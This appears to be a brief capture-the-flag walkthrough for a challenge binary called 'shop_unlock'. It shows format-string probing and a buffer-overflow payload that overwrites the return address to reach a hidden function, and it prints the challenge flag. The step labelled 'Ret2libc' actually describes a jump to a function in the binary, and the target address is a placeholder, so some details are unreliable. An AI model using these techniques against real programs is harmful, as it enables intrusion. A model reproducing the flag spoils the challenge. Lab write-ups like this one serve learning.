# Walkthrough: Shop Unlock

## Step 1: Binary Analysis

Check the binary type using:

```shell  
file shop\_unlock  
```

## Step 2: Finding Vulnerabilities

Running the binary and entering input reveals potential format string issues.

```shell  
./shop\_unlock  
Welcome to the Shop!  
Enter your customer details: %p %p %p %p  
```

## Step 3: Exploiting Format String

Using format string vulnerabilities, we can leak memory addresses and find return pointers.

```shell  
python -c 'print("%x "\*40)' | ./shop\_unlock  
```

## Step 4: Buffer Overflow & Ret2libc

With an overflow attack, we overwrite the return address to call `hidden\_function()`.

```shell  
python -c 'print("A"\*72 + "\xef\xbe\xad\xde")' | ./shop\_unlock  
```

## Step 5: Retrieving the Flag

Once the function is triggered, the flag `G8KEY{5H0P\_F4NCTI0N\_4NL0C3ED}` is printed.